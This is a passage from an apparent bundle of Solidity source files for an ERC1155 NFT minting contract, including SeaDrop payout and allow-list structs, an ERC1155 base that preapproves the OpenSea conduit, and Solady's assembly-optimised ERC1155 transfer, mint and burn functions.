uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n"
},
"src/lib/ERC1155ConduitPreapproved.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n"
},
"lib/solady/src/tokens/ERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n 